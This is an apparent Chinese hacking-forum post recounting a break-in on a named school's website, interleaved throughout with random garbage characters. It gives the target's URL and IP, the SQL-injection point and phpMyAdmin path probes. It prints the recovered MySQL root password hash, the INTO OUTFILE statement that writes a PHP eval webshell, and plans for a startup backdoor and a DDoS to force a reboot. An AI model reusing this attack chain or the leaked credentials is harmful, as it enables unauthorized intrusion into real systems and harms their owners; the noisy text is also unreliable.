友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
0 m% m+ n* Q3 r' `, W( Z


常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
9 h  E# \; _% E3 m6 R' O0 _
那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

- V1 Q  H* t8 G% {' @/ }5 `* o试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
' ^2 {3 A! h" W0 |6 {8 L8./phpmyadmin/libraries/export/xls.php  
$ f% [9 C! V  h0 r; {
7 p" I# k) K# K" |- c均不行...........................
4 f, j3 x; c- N, S8 Q- S# N
御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

, }1 r& V  q9 I7 D7 V权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

9 z0 x1 m* ?1 [0 }敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
, t- C$ z& Q/ J' @/ z
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

9 A( f' T7 l9 c, J0 r3 Nhttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

+ F# ]6 t1 z" D0 K  j自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
* ]* y: g) r# ~# g% O# {
: v  e; E  y  L* {) ?) b成功读到root密码：

17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
9 J/ c' O$ N  _. O  @21---- *(002a)
22---- 8(0038)
23---- 2(0032)
24---- E(0045)
; F+ {' W6 c+ e& C0 k25---- 1(0031)
* k! T8 U0 j3 `' C26---- C(0043)
27---- 5(0035)
/ p# ]5 {9 @3 N; [) i1 d# O28---- 8(0038)
4 C6 i2 \! c: j3 l  d29---- 2(0032)
- @9 k2 S. O9 @/ |  L6 z1 E30---- 8(0038)
' k: H. A' A0 N$ L' {31---- A(0041)
32---- 9(0039)
7 _" e6 w  W- H33---- B(0042)
  c- F- K7 M# t0 ^34---- 5(0035)
35---- 4(0034)
4 l* i- ^) C2 _' f$ h- Y3 t- T36---- 8(0038)
2 |! r9 {' J$ G$ G$ }37---- 6(0036)
9 ~: L6 E2 Q' A9 G0 J' u6 a2 F+ }6 B38---- 4(0034)
39---- 9(0039)
- s2 L2 Y8 `3 ~3 ]0 N40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
8 E0 P% ^$ k9 P% g* \! ~43---- 3(0033)
, q% K' y8 L3 U5 U6 h* a44---- 5(0035)
" j) h6 i4 i9 J5 B4 P45---- 9(0039)
# Z7 ]' ?( E, _6 q0 b7 b. ?46---- 8(0038)
2 F8 b* H$ W& s9 ~4 G1 L1 I47---- F(0046)
48---- F(0046)
49---- 4(0034)
50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
: s0 W2 [" _1 ]# f# X! L54---- A(0041)
5 O  w" |. H. R3 Y0 |  u) t9 n9 v55---- 4(0034)
3 [) ~/ H1 P5 i% B5 L; H5 P! f56---- A(0041)
- [' P$ b5 e# x. C57---- B(0042)
# j6 }  ]4 ?& ?# J& v58---- *(0044)
# {$ E" x( s; e/ f  g6 J, ]59---- *(0035)
5 I! ~. x; [. l  y/ S) |9 _9 T60---- *(0041)
61---- *0032)

解密后成功登陆phpmyamin
8 \6 m3 L3 W' b  A, m                          
) i0 ]. }% l, s# S* h
1 i% b3 h. E0 X( D0 X$ b                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
1 N4 M  W: A7 d0 q$ z. [- {% @
成功执行，拿下shell，菜刀连接：
4 c0 T; F7 S. q
服务器不支持asp,aspx,php提权无果...................

' b# o2 T4 R# c* {; }( a  I2 ]但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
2 D& o; Z7 m9 Q1 q

服务器上已经有个隐藏帐号了

! }% m& _. K7 J2 t8 `

别名     administrators
6 I6 `6 `- Y% g7 ]注释     管理员对计算机/域有不受限制的完全访问权

' n* {' U. Z& A5 v0 P; x2 u

成员

- g: Y  `6 d% y" l7 t

-------------------------------------------------------------------------------
* v6 z+ E' v$ U! c. [admin
Administrator
slipper$
sqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
+ i& Y, N: P/ o2 f1 ^9 g! P- ~
ddos服务器重启，不然就只能坐等服务器重启了...............................

      

angel